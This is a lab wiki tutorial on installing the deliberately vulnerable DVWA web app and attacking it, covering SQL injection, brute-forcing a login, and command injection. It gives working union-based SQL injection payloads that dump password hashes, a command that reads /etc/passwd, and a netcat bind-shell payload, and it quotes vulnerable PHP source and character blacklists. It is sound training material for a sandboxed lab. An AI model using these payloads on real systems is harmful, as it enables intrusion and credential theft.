DVWA

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

The so-called damn vulnerable web app (DVWA) is also a vulnerable PHP / MySQL web service [[1]]. It is very similar to bWAPP. DVWA is free and can be used by anyone. The purpose of this application is to improve and test the skills and tools of security professionals and enthusiasts in a legal and secure environment. It is also used to explore the different vulnerabilities in four difficulties. More detailed explanations and information can be found on the DVWA homepage or at the GitHub page.

Architecture

As already mentioned, the Damn Vulnerable Web Application (DVWA) is a free PHP application which is like bWAPP. It also uses a SQL database to persist information. The service is provided by Linux or Windows. XAMPP is also supported.

DVWA architecture.png

Installation (1)

The installation of DVWA is very similar to that of bWAPP. Because the application is very fragile, it is recommended to install it on a virtual machine, and not in the public HTML folder. The following steps show a successful installation:

  • The application could be downloaded on the official homepage of DVWA (http://www.dvwa.co.uk/). The ZIP file is extracted on any path.
DVWA official Website.png


  • The name of the folder is changed to “dvwa” and in the /xampp/htdocs path copied from XAMPP. Apache and MySQL should be activated in the XAMPP control panel.
  • The password is deleted from the configuration file “config.inc.php.dist”.
DVWA configfile.png


  • /localhost/dvwa is called by the browser, which leads you to the login.
    • Username is “admin”
    • Password is “password”
  • Now you are logged in and ready to work with DVWA.
DVWA installed and ready to use.png


Note: Before you start, the database should be set or reset.

Installation (2)

This is an alternative way of setting up the DVWA, which is sometimes more reliable than the first one. It requires creating a VM with a DVWA iso file, like you would do with any other VM. You just need to choose the correct ISO during setup. It can be downloaded here: https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/. Once the DVWA VM is running, you can access it in the browser of another VM via: http://<IP_DVWA_VM>/login.php. You just need to choose NAT as network setting on both used VMs, so that they aren't exposed to the actual network. Exposing the DVWA to the network is very dangerous, as this is in fact a very vulnerable server. Should it get compromised from outside, the attacker would gain access to your home network.

SQL injection

Let's look at the SQL injection vulnerability.

  • In contrast to bWAPP, no search terms are entered in the search field, here we are searching by an identification number (ID) of the user in the database. An identification number returns the first name and last name of a user.
DVWA search.PNG


  • When we enter "1" in the search field, the query being sent to the database really looks like this:
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$query  = "SELECT first_name, last_name FROM users WHERE user_id = 1;";
  • If we enter "1'" in the search field, we will get a syntax error with the associated error message. So, we recognize that the parameters in the URL are vulnerable to error-based SQL injection. This means we can send commands (queries) to the database to extract some information. The displayed error message is:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1' at line 1
  • Next we can try executing an always true query. The example SQL code would look like this:
SELECT first_name, last_name FROM users WHERE user_id = 'a' OR '1'='1'
  • When we enter a’ or ‘1’=‘1 in the ID field, sending an always-true query, we get all users with their first and last names from the database.
True1.PNG


  • For union-based SQLi we need to know the number of columns in a table to be able to execute an UNION query. To find this, we enter 1' order by 9# to try if the table has 9 columns. This returns an error, meaning we need to lower the number until we get an actual result. After several tires, DVWA returns actual contents when entering number 2. This means, our table of users has 2 columns.
  • Next we can try the union-based SQLi. We start with entering 1' union select 1,2 #, which will simply return the numbers 1 and 2 in a certain spot. This spot is where we can then extract whatever information is desired. The hashtag # comments out anything that comes after, simply making sure nothing interferes with the query.
Union4.PNG
  • We can try entering the following in the ID field: 1' union select database(),user() #, which returns the database name and current user in the same position.
Union5.PNG
  • Now that we know the database name, we can extract the tables in this database by 1' union select table_name,2 from information_schema.tables where table_schema='dvwa' #. This returns the following:
Union6.PNG
  • This tells us there are two tables in the database - users and guestbook. Here we utilize INFORMATION_SCHEMA, which provides metadata about our database.
  • Now we can discover what columns exist in the table "users". We enter the query 1' union select column_name,2 from information_schema.columns where table_name='users' #, which results into the following:
Union7.PNG
  • Knowing the names of the columns now allows us to extract the specific values from them. Let's look at all usernames and passwords from the table "users". We do this with the query 1' union select user,password from users #:
Union8.PNG
  • Unfortunately, the data is hashed, and we have to use external software to crack them (John the Ripper). For this we can collect the usernames and passwords in one file like so and run Jack:
John pass hash.PNG
  • Now we have extracted the passwords with usernames and are therefore able to penetrate the database. In a real web application setting, this is extremely dangerous to know the admin user, as this would allow the attacker to do practically anything.

Brute force

For this attack, we will be using a Kali Linux machine with BurpSuite and Hydra. With the proxy we will be intercepting traffic between the DVWA and BurpSuite's browser. First, let's select low security in the DVWA and head to the "Brute Force" navigation tab. Here, we see a login form with a username and password. We will enter some test data and look at the request in BurpSuite:

username: username
password: password
  • Dvwa1.png

Now, click on "Send to Intruder" and change to the Intruder tab in BurpSuite. Now click on Positions, and for Attack type choose "Cluster bomb". Click on "Clear §" on the right and then select the entered username and password values and click "Add §" on the right.

  • Dvwa2.png

Now go to the Payloads tab to "Payload options" and load the wordlist /usr/share/wordlists/metasploit/http_default_users.txt. Scroll up to "Payload Sets" and select 2. Now go to "Payload options" again and load a second wordlist /usr/share/wordlists/metasploit/http_default_pass.txt
Now, go to the Options tab (still inside the Intruder) and clear the Grep-Match list. Then enter "Username and/or password incorrect.", which is exactly what the DVWA outputs on this login page in the case of an incorrect login attempt, and add it to the Grep-Match list. Scroll up and Start attack. We are looking for entries with the unchecked "username" column. The output should look something like this:

  • Dvwa3.png

In our case this is

username: admin
password: password

After entering in to the login form, we are successfully logged in and get the message:

Welcome to the password protected area admin

Command execution

The command execution vulnerability occurs when the application allows the execution of system commands. It can be very dangerous depending on the type of command and its impact on the system. Let's demonstrate this with a simple ECHO command (keep in mind, this is a PHP application).

  • Medium and low security level
  • High security level

We can see the difference between the security levels, which is based on the source code of the DVWA:

Low security level: no input validation

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
       // Get input
       $target = $_REQUEST[ 'ip' ];

       // Determine OS and execute the ping command.
       if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
               // Windows
               $cmd = shell_exec( 'ping  ' . $target );
       }
       else {
               // *nix
               $cmd = shell_exec( 'ping  -c 4 ' . $target );
       }

       // Feedback for the end user
       $html .= "<pre>{$cmd}</pre>";
}
?>


Medium security level: Here, the rest of the code looks like low level security, but has an added part for substituting '&&' and ';'.

// Set blacklist
$substitutions = array(
       '&&' => ,
       ';'  => ,
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );


High security level: The "substitutions" array contents way more characters, also including the pipe | character. This is why the DVWA reacted as it did in the previously shown examples.

// Set blacklist
$substitutions = array(
       '&'  => ,
       ';'  => ,
       '| ' => ,
       '-'  => ,
       '$'  => ,
       '('  => ,
       ')'  => ,
       '`'  => ,
       '||' => ,
);

Now we will perform a series of information gathering commands on low security setting as demonstrated below.

  • Show the current directory's contents
ls
  • Show in which directory path we currently find ourselves
pwd
  • Who is the current user
whoami
  • List the currently running processes
ps
  • List information about the users read out from the /etc/passwd file
cat /etc/passwd
  • Discover the hostname and the users that are logged in
uname -a & users & id & w
  • Command execution - Low security level

To for example create a reverse shell, you can set up a listener on another VM (let's choose port 4444, the listener command on a Kali Linux VM is nc -lvp 4444) and enter the following into the DVWA input field:

1 | netcat -v -e '/bin/bash' -l -p 4444